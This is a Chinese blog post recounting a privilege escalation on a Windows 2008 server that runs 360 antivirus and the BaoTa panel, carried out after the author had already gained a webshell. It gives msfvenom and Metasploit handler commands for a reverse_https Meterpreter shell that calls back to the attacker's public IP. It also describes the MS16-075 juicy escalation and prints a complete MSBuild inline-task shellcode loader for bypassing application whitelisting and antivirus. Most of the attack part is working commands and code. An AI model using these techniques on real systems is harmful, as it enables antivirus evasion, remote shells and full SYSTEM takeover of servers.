绕过360安全卫士提权实战案例

简介: 绕过360安全卫士提权实战案例


0x01 前言

这个案例也是帮一个朋友看的,拿到Webshell权限后先对目标机器进行了简单的信息搜集,通过以下信息基本能确定目标机器上安装的有360安全卫士和宝塔Windows服务器运维管理面板,其中包括有宝塔安装的MySQL数据库和FileZilla Server软件等。

0x02 信息搜集

目标机器基本信息:

    支持脚本:ASP、PHP(不能执行命令)
    目标系统:Windows 2008 R2(IIS7.5)
    当前权限:iis apppool\**********.com
    开放端口:21、80、135、888、3306、6088、8888、12828(TermService)
    进程名称:360tray.exe、ZhuDongFangYu.exe、FileZilla_Server.exe、mysqld.exe、runserver.exe(btPanel)、task.exe(btTask)、python.exe、KuaiYun.exe(景安云自带插件)

    注:这里因为宝塔安装目录权限和随机密码安全机制的问题,D:\BtSoft\目录没有读取和写入权限,所以我们没办法直接利用目标机器上的MySQL、FileZilla Server来进行权限提升。



    0x03 实战提权过程

    (1) 笔者根据个人经验感觉可以利用MS16-075来进行权限提升,但是由于目标机器存在360安全卫士,在提权过程中遇到了不少问题,比如我们上传的Windows Payload、大部分提权EXP以及其它恶意程序在执行过程中都会被360安全卫士查杀,首次执行无回显,二次执行已被查杀


    (2) web_delivery、hta_server模块生成的Payload也会被目标机器上的360安全卫士的Powershell进程防护拦截,mshta.exe可以被正常执行,但执行底层powershell.exe会被拦截。



    (3) 因为目标机器用的宝塔Windows服务器运维管理面板,默认安装的有Python环境,利用Python Payload可以成功得到会话,但是无法使用incognito扩展和MS16-075模块

    (4) 使用php/meterpreter/reverse_tcp得到的会话功能有限,很多命令执行不了,同样无法使用incognito扩展和MS16-075模块。

    (5) 笔者最终是通过MSBuild.exe白名单成功得到目标机器Meterpreter会话,这里需要将x86会话进程注入到x64进程中去,然后再利用ms16_075_reflection_juicy本地权限提升模块成功拿到目标SYSTEM权限,其它白名单也就没有再去测试了(留了个坑,自己去踩)0.0 !


      root@kali:~# msfvenom -a x86 –platform windows -p windows/meterpreter/reverse_https LHOST=公网IP地址 LPORT=5555 -f csharp
      msf5 > use exploit/multi/handler
      msf5 exploit(multi/handler) > set payload windows/meterpreter/reverse_https
      msf5 exploit(multi/handler) > set lhost 公网IP地址
      msf5 exploit(multi/handler) > set lport 5555
      msf5 exploit(multi/handler) > exploit



      0x04 MSBuild白名单


        <Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
                 <!-- This inline task executes shellcode. -->
                 <!-- C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe SimpleTasks.csproj -->
                 <!-- Save This File And Execute The Above Command -->
                 <!-- Author: Casey Smith, Twitter: @subTee -->
                 <!-- License: BSD 3-Clause -->
            <Target Name="Hello">
              <ClassExample />
            </Target>
            <UsingTask
              TaskName="ClassExample"
              TaskFactory="CodeTaskFactory"
              AssemblyFile="C:\Windows\Microsoft.Net\Framework\v4.0.30319\Microsoft.Build.Tasks.v4.0.dll" >
              <Task>
                <Code Type="Class" Language="cs">
                <![CDATA[
            using System;
            using System.Runtime.InteropServices;
            using Microsoft.Build.Framework;
            using Microsoft.Build.Utilities;
            public class ClassExample :  Task, ITask
            {         
              private static UInt32 MEM_COMMIT = 0x1000;          
              private static UInt32 PAGE_EXECUTE_READWRITE = 0x40;          
              [DllImport("kernel32")]
                private static extern UInt32 VirtualAlloc(UInt32 lpStartAddr,
                UInt32 size, UInt32 flAllocationType, UInt32 flProtect);          
              [DllImport("kernel32")]
                private static extern IntPtr CreateThread(            
                UInt32 lpThreadAttributes,
                UInt32 dwStackSize,
                UInt32 lpStartAddress,
                IntPtr param,
                UInt32 dwCreationFlags,
                ref UInt32 lpThreadId           
                );
              [DllImport("kernel32")]
                private static extern UInt32 WaitForSingleObject(           
                IntPtr hHandle,
                UInt32 dwMilliseconds
                );          
              public override bool Execute()
              {
                byte[] shellcode = new byte[] { 
        Insert Shellcode Here };
                  UInt32 funcAddr = VirtualAlloc(0, (UInt32)shellcode.Length,
              MEM_COMMIT, PAGE_EXECUTE_READWRITE);
                  Marshal.Copy(shellcode, 0, (IntPtr)(funcAddr), shellcode.Length);
                  IntPtr hThread = IntPtr.Zero;
                  UInt32 threadId = 0;
                  IntPtr pinfo = IntPtr.Zero;
                  hThread = CreateThread(0, 0, funcAddr, pinfo, 0, ref threadId);
                  WaitForSingleObject(hThread, 0xFFFFFFFF);
                  return true;
              } 
            }     
                ]]>
                </Code>
              </Task>
            </UsingTask>
          </Project>


        相关文章
        |
        安全 NoSQL API
        【漏洞复现】YApi NoSQL注入导致远程命令执行漏洞
        YApi是一个API管理工具。在其1.12.0版本之前,存在一处NoSQL注入漏洞,通过该漏洞攻击者可以窃取项目Token,并利用这个Token执行任意Mock脚本,获取服务器权限。
        4166 1
        |
        存储 安全 Unix
        【Shell 命令集合 文件管理】Linux chmod命令使用教程
        【Shell 命令集合 文件管理】Linux chmod命令使用教程
        1106 0
        |
        网络协议 测试技术 网络安全
        |
        存储 运维 安全
        华为的云计算认证和阿里云的云计算认证有什么区别?
        作为一个新兴的行业,云计算在最近几年正逐渐提高自己在人们日常生活中的作用,给人们的生活带来了巨大的便利,而且随着科技地不断发展。
        |
        安全 网络安全
        技巧!通过360卫士白名单绕过查杀
        技巧!通过360卫士白名单绕过查杀
        2351 0
        |
        9月前
        |
        监控 安全 网络协议
        C&C服务器:网络攻击的指挥中心
        C&C服务器是网络攻击的指挥中心,控制“肉鸡”执行恶意行为。其通过隐蔽通信、DGA、Fast Flux等技术逃避检测,广泛用于勒索软件、僵尸网络等攻击。需结合流量分析、威胁情报与多层防护应对。
        990 0
        |
        安全 网络协议 Java
        Apache Log4j远程代码执行漏洞详解与利用指南
        在尝试连接至192.168.0.1的9999端口时,采用base64编码可以进一步提升连接的安全性。通过将连接命令进行base64编码,然后在目标系统上执行解码操作,从而实现对9999端口的隐蔽且安全的连接。但请务必在合法且获得明确授权的前提下使用此方法,同时需严格遵循相关法规和道德规范。
        |
        开发框架 安全 .NET
        记一次绕过安全狗和360提权案例
        记一次绕过安全狗和360提权案例
        570 0
        |
        SQL Shell 数据库
        MSSQL绕过微软杀毒提权案例
        MSSQL绕过微软杀毒提权案例
        825 0
        |
        Kubernetes 安全 Cloud Native
        云上攻防-云原生篇&K8s安全-Kubelet未授权访问、API Server未授权访问
        本文介绍了云原生环境下Kubernetes集群的安全问题及攻击方法。首先概述了云环境下的新型攻击路径,如通过虚拟机攻击云管理平台、容器逃逸控制宿主机等。接着详细解释了Kubernetes集群架构,并列举了常见组件的默认端口及其安全隐患。文章通过具体案例演示了API Server 8080和6443端口未授权访问的攻击过程,以及Kubelet 10250端口未授权访问的利用方法,展示了如何通过这些漏洞实现权限提升和横向渗透。
        2621 0
        云上攻防-云原生篇&K8s安全-Kubelet未授权访问、API Server未授权访问